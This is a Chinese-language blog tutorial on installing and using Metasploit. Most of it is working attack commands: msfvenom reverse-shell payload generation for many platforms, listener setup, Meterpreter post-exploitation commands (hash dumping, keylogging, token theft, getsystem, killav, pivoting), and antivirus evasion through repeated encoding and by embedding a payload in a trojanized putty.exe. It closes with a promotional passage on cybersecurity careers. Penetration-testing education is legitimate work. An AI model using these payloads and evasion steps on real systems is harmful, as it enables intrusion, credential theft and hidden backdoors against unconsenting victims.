Windows之metasploit安装

就是不吃苦瓜

已于 2024-01-06 14:23:46 修改

阅读量1k

点赞数 13

文章标签： windows linux 运维服务器 dubbo web安全

于 2023-12-23 15:20:01 首次发布

本文链接：https://blog.csdn.net/2201_75735270/article/details/135168950

版权

简介

　　Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework，简称叫做MSF。Metasploit作为全球最受欢迎的工具，

　　不仅仅是因为它的方便性和强大性，更重要的是它的框架。它允许使用者开发自己的漏洞脚本，从而进行测试。

0x01 安装、基本操作

　　kali Linux自带Metasploit，直接使用命令msfconsole启动即可

　　windows 可安装windows版本的msf，然后cmd启动msfconsole （windows最新版本下载链接）提取码：5qmi

2、建立搜索缓存（数据库）

　　启动PostgreSQL数据库服务：service postgresql start监听5432端口

　　初始化Metasploit数据库:msfdb init

　　查看数据库联接情况:msfconsole db_status

建立数据库缓存:msfconsole db_rebuild_cache

3、专业术语

– Exploit，攻击工具/代码 – Payload，攻击载荷 – Shellcode – Module，模块 – Listener，监听器

4、常用命令

show exploits – 查看所有可用的渗透攻击程序代码

show auxiliary – 查看所有可用的辅助攻击工具

show options – 查看该模块所有可用选项

show payloads – 查看该模块适用的所有载荷代码

show targets – 查看该模块适用的攻击目标类型

search – 根据关键字搜索某模块

info – 显示某模块的详细信息

use – 进入使用某渗透攻击模块

back – 回退

set/unset – 设置/禁用模块中的某个参数

setg/unsetg – 设置/禁用适用于所有模块的全局参数

save – 将当前设置值保存下来，以便下次启动MSF终端时仍可使用

0x01 Metasploit功能程序

msfvenom（攻击载荷生成和编码器）

主要参数：

-p payload

-e 编码方式

-i 编码次数

-b 在生成的程序中避免出现的值

LHOST,LPORT 监听上线的主机IP和端口

-f exe 生成EXE格式

使用msfvenom -l 可以查看可以利用payload

msfvenom -l | grep windows | grep x64 | grep tcp 选择payload

1、生成可执行文件

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.as

JSP:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Python:

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash:

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl:

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

2、监听

set PAYLOAD <Payload name>

set LHOST <LHOST value>

set LPORT <LPORT value>

set ExitOnSession false　　让connection保持连接(即使一个连接退出,仍然保持listening状态)

exploit -j –z -j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行)

3、实例

set PAYLOAD <Payload name>

set LHOST <LHOST value>

set LPORT <LPORT value>

set ExitOnSession false 让connection保持连接(即使一个连接退出,仍然保持listening状态)

exploit -j –z -j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行)

4、实例

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=172.16.0.4 LPORT=443 -f exe > abc.exe

　　开启监听

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp

msf exploit(handler) > show options

msf exploit(handler) > set LHOST 172.16.0.4

msf exploit(handler) > set ExitOnSession false

msf exploit(handler) > exploit -j -z -j(计划任务下进行攻击，后台) -z(攻击完成不遇会话交互)

msf exploit(handler) > jobs 查看后台攻击任务

msf exploit(handler) > kill <id> 停止某后台攻击任务

msf exploit(handler) > sessions -l (查看会话)

msf exploit(handler) > sessions -i 2 选择会话

msf exploit(handler) > sessions -k 2 结束会话

0x02 Meterpreter后攻击

Meterpreter提供的功能包括反追踪、纯内存工作模式、系统信息获取、密码哈希导出、文件上传下载、屏幕截取、键盘记录、权限提升、跳板攻击等等

常用命令：

meterpreter > background 放回后台

meterpreter > exit 关闭会话

meterpreter > help 帮助信息

meterpreter > Sysinfo系统平台信息

meterpreter > screenshot 屏幕截取

meterpreter > shell 命令行shell(exit退出)

meterpreter > getlwd 查看本地目录

meterpreter > lcd 切换本地目录

meterpreter > getwd 查看目录

meterpreter > ls 查看文件目录列表

meterpreter > cd 切换目录

meterpreter > rm 删除文件

meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件

meterpreter > upload /var/www/wce.exe wce.exe 上传文件

meterpreter > search -d c: -f *.doc 搜索文件

meterpreter > execute -f cmd.exe -i 执行程序/命令

meterpreter > ps 查看进程

meterpreter > run post/windows/capture/keylog_recorder 键盘记录

meterpreter > getuid 查看当前用户权限

meterpreter > use priv 加载特权模块

meterpreter > getsystem 提升到SYSTEM权限

meterpreter > hashdump 导出密码散列

meterpreter > ps 查看高权限用户PID

meterpreter > steal_token <PID> 窃取令牌

meterpreter > rev2self 恢复原来的令牌

meterpreter > migrate pid 迁移进程

meterpreter > run killav 关闭杀毒软件

meterpreter > run getgui-e 启用远程桌面

meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发

meterpreter > run get_local_subnets 获取内网网段信息

meterpreter > run autoroute -s <内网网段> 创建自动路由

meterpreter > run autoroute -p 查看自动路由表创建代理通道:

msf > use auxiliary/server/socks4a 设置socks4代理模块

msf auxiliary(socks4a) > show options

msf auxiliary(socks4a) > run

配置proxychains参数：

nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致

quite_mode 设置成安静模式：去掉如下参数前面的注释

0x03 免杀

1、多次编码免杀

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe

2、自定义二进制代码的文件模板免杀

使用“putty.exe”作为文件模板，而且随着putty程序运行而隐蔽同时运行，还使用编码器进行了编码。

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe -k -f exe -o /var/www/html/reverse_http_putty.exe

题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

2023届全国高校毕业生预计达到1158万人，就业形势严峻；
国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高，涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。